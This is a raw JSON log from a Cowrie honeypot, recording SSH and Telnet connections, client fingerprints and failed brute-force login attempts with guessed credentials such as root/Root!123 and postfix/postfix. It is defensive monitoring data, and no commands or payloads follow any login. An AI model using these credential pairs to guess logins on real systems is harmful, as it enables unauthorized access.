{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":57994,"dst_ip":"10.17.0.5","dst_port":22,"session":"af07fb908a4f","protocol":"ssh","message":"New connection: 103.27.238.120:57994 (10.17.0.5:22) [session: af07fb908a4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:55.037994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:55.043758Z","src_ip":"103.27.238.120","session":"af07fb908a4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:55.297317Z","src_ip":"103.27.238.120","session":"af07fb908a4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"214365","message":"login attempt [root/214365] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:56.057784Z","src_ip":"103.27.238.120","session":"af07fb908a4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.5","message":"Connection lost after 15.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:56.248022Z","src_ip":"213.209.159.158","session":"d219ac90892c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":9794,"dst_ip":"10.17.0.5","dst_port":22,"session":"c10400191c70","protocol":"ssh","message":"New connection: 213.209.159.158:9794 (10.17.0.5:22) [session: c10400191c70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:56.335500Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:57.312383Z","src_ip":"103.27.238.120","session":"af07fb908a4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32890,"dst_ip":"10.17.0.5","dst_port":23,"session":"6da6c785d8b6","protocol":"telnet","message":"New connection: 152.42.224.71:32890 (10.17.0.5:23) [session: 6da6c785d8b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:57.783718Z"}
{"eventid":"cowrie.session.closed","duration":110.91049289703369,"message":"Connection lost after 110 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:58.683734Z","src_ip":"152.42.224.71","session":"e146b310581e","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:58.978356Z","src_ip":"213.209.159.158","session":"c10400191c70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:03:58.982031Z","src_ip":"213.209.159.158","session":"c10400191c70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32906,"dst_ip":"10.17.0.5","dst_port":23,"session":"d816da41547f","protocol":"telnet","message":"New connection: 152.42.224.71:32906 (10.17.0.5:23) [session: d816da41547f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:00.871634Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32922,"dst_ip":"10.17.0.5","dst_port":23,"session":"56c452425183","protocol":"telnet","message":"New connection: 152.42.224.71:32922 (10.17.0.5:23) [session: 56c452425183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:02.923728Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32928,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc8eced018c1","protocol":"telnet","message":"New connection: 152.42.224.71:32928 (10.17.0.5:23) [session: bc8eced018c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:04.650319Z"}
{"eventid":"cowrie.session.closed","duration":27.122652769088745,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:05.840628Z","src_ip":"152.42.224.71","session":"c1168ad4487e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":55326,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f4144388207","protocol":"ssh","message":"New connection: 103.98.149.87:55326 (10.17.0.5:22) [session: 0f4144388207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:06.624033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:06.628995Z","src_ip":"103.98.149.87","session":"0f4144388207","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:06.871663Z","src_ip":"103.98.149.87","session":"0f4144388207","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"daniel","message":"login attempt [root/daniel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:07.631720Z","src_ip":"103.98.149.87","session":"0f4144388207","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root!123","message":"login attempt [root/Root!123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:08.851735Z","src_ip":"213.209.159.158","session":"c10400191c70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:08.875333Z","src_ip":"103.98.149.87","session":"0f4144388207","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38916,"dst_ip":"10.17.0.5","dst_port":23,"session":"a54135512c07","protocol":"telnet","message":"New connection: 152.42.224.71:38916 (10.17.0.5:23) [session: a54135512c07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:10.196645Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38924,"dst_ip":"10.17.0.5","dst_port":23,"session":"84c869597bee","protocol":"telnet","message":"New connection: 152.42.224.71:38924 (10.17.0.5:23) [session: 84c869597bee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:11.022143Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38920,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9578c8a8cc8","protocol":"telnet","message":"New connection: 152.42.224.71:38920 (10.17.0.5:23) [session: d9578c8a8cc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:11.915272Z"}
{"eventid":"cowrie.session.closed","duration":"16.2","message":"Connection lost after 16.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:12.542596Z","src_ip":"213.209.159.158","session":"c10400191c70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":21232,"dst_ip":"10.17.0.5","dst_port":22,"session":"08ec1e6cd791","protocol":"ssh","message":"New connection: 213.209.159.158:21232 (10.17.0.5:22) [session: 08ec1e6cd791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:12.623693Z"}
{"eventid":"cowrie.session.closed","duration":51.956624031066895,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:14.736789Z","src_ip":"152.42.224.71","session":"51a742440f04","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:14.804329Z","src_ip":"213.209.159.158","session":"08ec1e6cd791","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:14.808737Z","src_ip":"213.209.159.158","session":"08ec1e6cd791","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52584,"dst_ip":"10.17.0.5","dst_port":23,"session":"8055d68e7f13","protocol":"telnet","message":"New connection: 152.42.224.71:52584 (10.17.0.5:23) [session: 8055d68e7f13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:16.081981Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.10.75.37","src_port":60970,"dst_ip":"10.17.0.5","dst_port":23,"session":"eef3a1b77837","protocol":"telnet","message":"New connection: 177.10.75.37:60970 (10.17.0.5:23) [session: eef3a1b77837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:21.408993Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.230.136.33","src_port":59380,"dst_ip":"159.203.135.109","dst_port":22,"session":"c08f3577c111","protocol":"ssh","message":"New connection: 94.230.136.33:59380 (159.203.135.109:22) [session: c08f3577c111]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:22.496883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:22.501479Z","src_ip":"94.230.136.33","session":"c08f3577c111","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:22.654717Z","src_ip":"94.230.136.33","session":"c08f3577c111","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52600,"dst_ip":"10.17.0.5","dst_port":23,"session":"834249d05ff9","protocol":"telnet","message":"New connection: 152.42.224.71:52600 (10.17.0.5:23) [session: 834249d05ff9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:23.115124Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"infoadm","message":"login attempt [root/infoadm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:23.297294Z","src_ip":"94.230.136.33","session":"c08f3577c111","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:24.452975Z","src_ip":"94.230.136.33","session":"c08f3577c111","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52602,"dst_ip":"10.17.0.5","dst_port":23,"session":"3be434434254","protocol":"telnet","message":"New connection: 152.42.224.71:52602 (10.17.0.5:23) [session: 3be434434254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:24.625765Z"}
{"eventid":"cowrie.login.failed","username":"postfix","password":"postfix","message":"login attempt [postfix/postfix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:24.749248Z","src_ip":"213.209.159.158","session":"08ec1e6cd791","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":21.03041696548462,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:25.680607Z","src_ip":"152.42.224.71","session":"bc8eced018c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:28.343671Z","src_ip":"213.209.159.158","session":"08ec1e6cd791","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":47730,"dst_ip":"10.17.0.5","dst_port":22,"session":"01d7acd0bf2c","protocol":"ssh","message":"New connection: 213.209.159.158:47730 (10.17.0.5:22) [session: 01d7acd0bf2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:28.447562Z"}
{"eventid":"cowrie.session.closed","duration":108.66691088676453,"message":"Connection lost after 108 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:28.834785Z","src_ip":"152.42.224.71","session":"fadb2115d356","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37664,"dst_ip":"10.17.0.5","dst_port":23,"session":"618204ef5fff","protocol":"telnet","message":"New connection: 152.42.224.71:37664 (10.17.0.5:23) [session: 618204ef5fff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:29.073300Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37670,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4435fbc0ba7","protocol":"telnet","message":"New connection: 152.42.224.71:37670 (10.17.0.5:23) [session: f4435fbc0ba7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:29.521975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:30.636505Z","src_ip":"213.209.159.158","session":"01d7acd0bf2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:30.640792Z","src_ip":"213.209.159.158","session":"01d7acd0bf2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37678,"dst_ip":"10.17.0.5","dst_port":23,"session":"0dbcff9b737e","protocol":"telnet","message":"New connection: 152.42.224.71:37678 (10.17.0.5:23) [session: 0dbcff9b737e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:31.635335Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37692,"dst_ip":"10.17.0.5","dst_port":23,"session":"483e8fe9506c","protocol":"telnet","message":"New connection: 152.42.224.71:37692 (10.17.0.5:23) [session: 483e8fe9506c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:32.638362Z"}
{"eventid":"cowrie.session.closed","duration":10.046127796173096,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:33.161141Z","src_ip":"152.42.224.71","session":"834249d05ff9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.132668495178223,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:34.541528Z","src_ip":"177.10.75.37","session":"eef3a1b77837","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.81242561340332,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:36.683922Z","src_ip":"152.42.224.71","session":"d816da41547f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.115.94","src_port":33876,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8009acb7e6d","protocol":"ssh","message":"New connection: 119.28.115.94:33876 (159.203.135.109:22) [session: b8009acb7e6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:04:38.190503Z"}
